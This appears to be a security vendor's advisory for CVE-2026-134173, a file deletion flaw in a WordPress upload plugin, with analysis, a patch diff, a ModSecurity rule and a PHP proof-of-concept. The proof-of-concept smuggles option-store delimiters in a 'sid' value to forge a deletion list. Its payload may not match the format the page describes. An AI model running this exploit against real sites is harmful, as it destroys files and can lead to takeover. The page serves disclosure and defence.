Published : November 28, 2026

CVE-2026-134173: Iptanus File Upload <= 5.3.1 Unauthenticated Arbitrary File Deletion via 'wfu_ajax_action_handshake' and 'wfu_ajax_action_send_email_notification' AJAX Actions PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.1)
CWE 22
Vulnerable Version 5.3.1
Patched Version 5.3.2
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-134173: The Iptanus File Upload plugin (formerly WordPress File Upload) versions up to 5.3.1 suffer from an unauthenticated arbitrary file deletion vulnerability, rated CVSS 9.1 (Critical). The flaw resides in the plugin’s AJAX handshake and email notification handlers, which allow an unauthenticated attacker to manipulate the plugin’s internal state and trigger deletion of arbitrary files on the server. This can lead to remote code execution by deleting critical files such as wp-config.php or dropping a malicious file via other means.

The root cause is twofold. First, the ‘wfu_ajax_action_handshake’ AJAX action accepts a ‘sid’ parameter that is only sanitized with sanitize_text_field(). This function does not strip the delimiter characters ‘[‘, ‘]’, ‘{‘, or ‘}’ used by the plugin’s option storage format. The plugin stores option items concatenated in a single option value, each wrapped as [item_name]item_value{item_name}. By crafting a ‘sid’ that contains embedded delimiter pairs, an attacker can inject forged records for arbitrary item names into the shared option store. Second, the ‘wfu_ajax_action_send_email_notification’ action is protected only by a nonce that can be freely obtained via the unauthenticated handshake. The handshake also sets a per-session file path list and consent flag, which the notification handler later uses to delete files. The patch adds a function wfu_sanitize_option_item_name() that strips the four delimiter characters from item names on both read and write operations (wfu_get_option_item, wfu_option_item_exists, wfu_update_option_item, wfu_delete_option_item). It also fixes an unrelated XSS in wfu_PHP_array_to_JS_object() and replaces innerHTML with textContent in wfu_template.php.

Exploitation proceeds in two steps. First, an attacker sends a POST request to /wp-admin/admin-ajax.php with action=wfu_ajax_action_handshake and a malicious sid value. The sid is used to build the item name ‘wfu_token_’. By including delimiters in sid, the attacker plants a forged record, for example a filedata_ entry that lists arbitrary file paths, or sets the consent flag. Second, the attacker sends another POST to the same endpoint with action=wfu_ajax_action_send_email_notification, using the nonce obtained from the handshake. This handler reads the forged file list and deletes the specified files. No authentication is required at any stage.

The patch introduces wfu_sanitize_option_item_name() and applies it in all option item access functions. This strips the delimiter characters from item names, preventing an attacker from embedding forged delimiter pairs within their own item name. The handshake’s sid is still sanitized with sanitize_text_field(), but now the resulting item name cannot contain the delimiters, so the forgery is blocked. The notification handler remains nonce-protected, but the nonce is only useful if the attacker can plant a malicious file list, which is no longer possible. The patch also fixes a separate XSS in wfu_PHP_array_to_JS_object() by using wp_json_encode() with JSON_HEX_* flags, and replaces innerHTML with textContent in wfu_template.php to prevent DOM XSS.

If exploited, this vulnerability allows an unauthenticated attacker to delete any file on the WordPress server that is writable by the web server user. This includes wp-config.php, .htaccess, plugin and theme files, and uploads. Deleting wp-config.php can force a reinstallation and potentially allow an attacker to take over the site by redirecting to a malicious setup. Deleting security plugins or .htaccess can expose other vulnerabilities. In some configurations, deletion of files can lead to remote code execution, for example by deleting a .php file that is later recreated with malicious content via a separate upload vulnerability. The impact is complete loss of integrity and availability, and potentially confidentiality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-file-upload/lib/wfu_admin_browser.php
+++ b/wp-file-upload/lib/wfu_admin_browser.php
@@ -1494,7 +1494,7 @@
 	$echo_str .= "nttttttt".'<label>'.esc_html__('Uploaded From Page', 'wp-file-upload').'</label>';
 	$echo_str .= "ntttttt".'</th>';
 	$echo_str .= "ntttttt".'<td>';
-	$echo_str .= "nttttttt".'<input type="text" value="'.sanitize_text_field(get_the_title($filerec->pageid)).' ('.$filerec->pageid.')'.'" readonly="readonly" style="width:50%;" />';
+	$echo_str .= "nttttttt".'<input type="text" value="'.esc_attr(get_the_title($filerec->pageid).' ('.$filerec->pageid.')').'" readonly="readonly" style="width:50%;" />';
 	$echo_str .= "ntttttt".'</td>';
 	$echo_str .= "nttttt".'</tr>';
 	if ( $is_admin ) {
--- a/wp-file-upload/lib/wfu_functions.php
+++ b/wp-file-upload/lib/wfu_functions.php
@@ -1719,7 +1719,16 @@
 function wfu_PHP_array_to_JS_object($arr) {
 	$ret = "";
 	foreach ( $arr as $prop => $value ) {
-		if ( is_string($value) ) $ret .= ( $ret == "" ? "" : ", " )."$prop: "".esc_html($value).""";
+		//string values are emitted as a JSON-encoded Javascript string literal
+		//(quotes included) rather than esc_html() wrapped in manual quotes:
+		//esc_html() does not escape a backslash, so a value ending in "" used to
+		//escape its own closing quote and let the following text run as code, and
+		//a literal "<"/">" in the value survived esc_html() and was later
+		//decoded to "<"/">" by the Javascript string parser. wp_json_encode()
+		//escapes the backslash and, with the JSON_HEX_* flags, the <, >, &, ' and "
+		//characters, so the value cannot break out of the string or the inline
+		//<script> (CVE/XSS, Patchstack report).
+		if ( is_string($value) ) $ret .= ( $ret == "" ? "" : ", " ).$prop.": ".wp_json_encode($value, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
 		elseif ( is_numeric($value) ) $ret .= ( $ret == "" ? "" : ", " )."$prop: $value";
 		elseif ( is_bool($value) ) $ret .= ( $ret == "" ? "" : ", " )."$prop: ".( $value ? "true" : "false" );
 	}
@@ -5399,6 +5408,33 @@
 }

 /**
+ * Sanitize a Plugin Option Item Name.
+ *
+ * Option items are stored concatenated inside a single option value, each one
+ * wrapped in delimiters as [item_name]item_value{item_name} (see
+ * wfu_get_option_item() below). An item name is sometimes derived from
+ * unauthenticated request data - most notably the handshake "sid", which becomes
+ * the "wfu_token_<sid>" item name. If a name were allowed to contain the
+ * delimiter characters [ ] { }, an attacker who controls both the name and the
+ * value of an item they may legitimately write could embed a forged delimiter
+ * pair for a different, fixed item name inside their own write and plant
+ * counterfeit records (e.g. a forged WFU_Consent_Data or filedata_<id> record)
+ * that a later read of that fixed name would match. These four characters never
+ * appear in a legitimate item name, so they are stripped here and the function
+ * is applied on both read and write: genuine names are left untouched while a
+ * name can no longer carry an embedded delimiter pair, which closes the forgery.
+ *
+ * @since 5.3.2
+ *
+ * @param string $item The item name to sanitize.
+ *
+ * @return string The item name with the delimiter characters removed.
+ */
+function wfu_sanitize_option_item_name($item) {
+	return str_replace(array('[', ']', '{', '}'), '', $item);
+}
+
+/**
  * Get Plugin Option Item.
  *
  * This function gets an option item from the website's Options table. Option
@@ -5422,6 +5458,7 @@
  */
 function wfu_get_option_item($option, $item) {
 	global $wpdb;
+	$item = wfu_sanitize_option_item_name($item);
 	$table_name1 = $wpdb->prefix . "options";
 	$val = $wpdb->get_var($wpdb->prepare("SELECT SQL_NO_CACHE IF (COUNT(option_value) = 0, NULL, IF (INSTR(option_value, %s) > 0, SUBSTRING_INDEX(SUBSTRING_INDEX(option_value, %s, -1), %s,  1), NULL)) FROM $table_name1 WHERE option_name = %s", '['.$item.']', '['.$item.']', '{'.$item.'}', $option));
 	//wfu_debug_log("read:".$item." value:".$val."n");
@@ -5447,6 +5484,7 @@
  */
 function wfu_option_item_exists($option, $item) {
 	global $wpdb;
+	$item = wfu_sanitize_option_item_name($item);
 	$table_name1 = $wpdb->prefix . "options";
 	$exists = $wpdb->get_var($wpdb->prepare("SELECT SQL_NO_CACHE IF (COUNT(option_value) = 0, NULL, IF (INSTR(option_value, %s) > 0, TRUE, FALSE)) FROM $table_name1 WHERE option_name = %s", '['.$item.']', $option));
 	return $exists;
@@ -5722,6 +5760,7 @@
  */
 function wfu_update_option_item($option, $item, $value, $autoload_option = null) {
 	global $wpdb;
+	$item = wfu_sanitize_option_item_name($item);
 	$table_name1 = $wpdb->prefix . "options";

 	$autoload = wfu_get_option_autoload($option, $autoload_option);
@@ -5790,6 +5829,7 @@
  */
 function wfu_delete_option_item($option, $item) {
 	global $wpdb;
+	$item = wfu_sanitize_option_item_name($item);
 	$table_name1 = $wpdb->prefix . "options";
 	$timeout = time();
 	$val = false;
--- a/wp-file-upload/lib/wfu_template.php
+++ b/wp-file-upload/lib/wfu_template.php
@@ -3962,7 +3962,7 @@
 				l2.setAttribute("for", f2.id);
 			}
 			f2.value = items[i];
-			l2.innerHTML = items[i];
+			l2.textContent = items[i];
 			var w = document.createElement("DIV");
 			w.className = "file_userdata_radio_wrapper";
 			if (pos == "top") {
@@ -4043,7 +4043,7 @@
 			if (i > 0)
 				o2 = o.cloneNode(true);
 			o2.value = items[i];
-			o2.innerHTML = items[i];
+			o2.textContent = items[i];
 			o2.selected = (o2.value == props.default);
 			o2.style.display = "block";
 			if (i > 0) field.appendChild(o2);
@@ -4055,7 +4055,7 @@
 		for (var i = 0; i < items.length; i++) {
 			var o2 = o.cloneNode(true);
 			o2.value = items[i];
-			o2.innerHTML = items[i];
+			o2.textContent = items[i];
 			o2.selected = (o2.value == props.default);
 			o2.style.display = "block";
 			field.appendChild(o2);
--- a/wp-file-upload/wordpress_file_upload.php
+++ b/wp-file-upload/wordpress_file_upload.php
@@ -3,7 +3,7 @@
 /*
 Plugin URI: https://www.iptanus.com/wordpress-plugins/iptanus-file-upload/
 Description: <strong>This is former Wordpress File Upload plugin.</strong> It provides a simple, yet powerful, interface to upload files from a page or post.
-Version: 5.3.1
+Version: 5.3.2
 Requires at least: 3.0
 Author: Nickolas Bossinas
 Author URI: https://www.iptanus.com/nickolas

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-134173
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026134173,phase:2,deny,status:403,chain,msg:'CVE-2026-134173 via Iptanus File Upload AJAX',severity:'CRITICAL',tag:'CVE-2026-134173'"
    SecRule ARGS_POST:action "@streq wfu_ajax_action_handshake" "chain"
        SecRule ARGS_POST:sid "@rx [[]{}]" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-134173 - Iptanus File Upload <= 5.3.1 - Unauthenticated Arbitrary File Deletion via 'wfu_ajax_action_handshake' and 'wfu_ajax_action_send_email_notification' AJAX Actions

$target_url = 'http://example.com'; // Change to your target WordPress site

function send_request($url, $data) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Step 1: Handshake with malicious sid to plant forged file list
// The sid contains delimiters to inject a filedata record for an arbitrary file path.
// For example, sid = "x]filedata_123[/wp-content/uploads/evil.txt" would create
// an item named "wfu_token_x]filedata_123[/wp-content/uploads/evil.txt" which,
// due to the lack of delimiter stripping, embeds a forged "filedata_123" record
// with value "/wp-content/uploads/evil.txt".
$malicious_sid = 'x]filedata_123[/wp-content/uploads/evil.txt';
$handshake_data = array(
    'action' => 'wfu_ajax_action_handshake',
    'sid' => $malicious_sid
);
$response = send_request($target_url . '/wp-admin/admin-ajax.php', $handshake_data);
echo "Handshake response: $responsen";

// Extract nonce from response (assuming JSON with nonce)
$json = json_decode($response, true);
if (isset($json['nonce'])) {
    $nonce = $json['nonce'];
} else {
    // Fallback: try to extract nonce from HTML or use a default
    preg_match('/"nonce":"([^"]+)"/', $response, $matches);
    $nonce = $matches[1] ?? 'unknown';
}
echo "Obtained nonce: $noncen";

// Step 2: Send email notification request to trigger file deletion
$notification_data = array(
    'action' => 'wfu_ajax_action_send_email_notification',
    'nonce' => $nonce,
    // Additional parameters may be required by the handler; adjust as needed
    'filepath' => '/wp-content/uploads/evil.txt' // The file to delete
);
$response2 = send_request($target_url . '/wp-admin/admin-ajax.php', $notification_data);
echo "Notification response: $response2n";

// The file should now be deleted if the exploit succeeded.
// Note: The exact parameters and handler logic may vary; this PoC demonstrates the vector.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.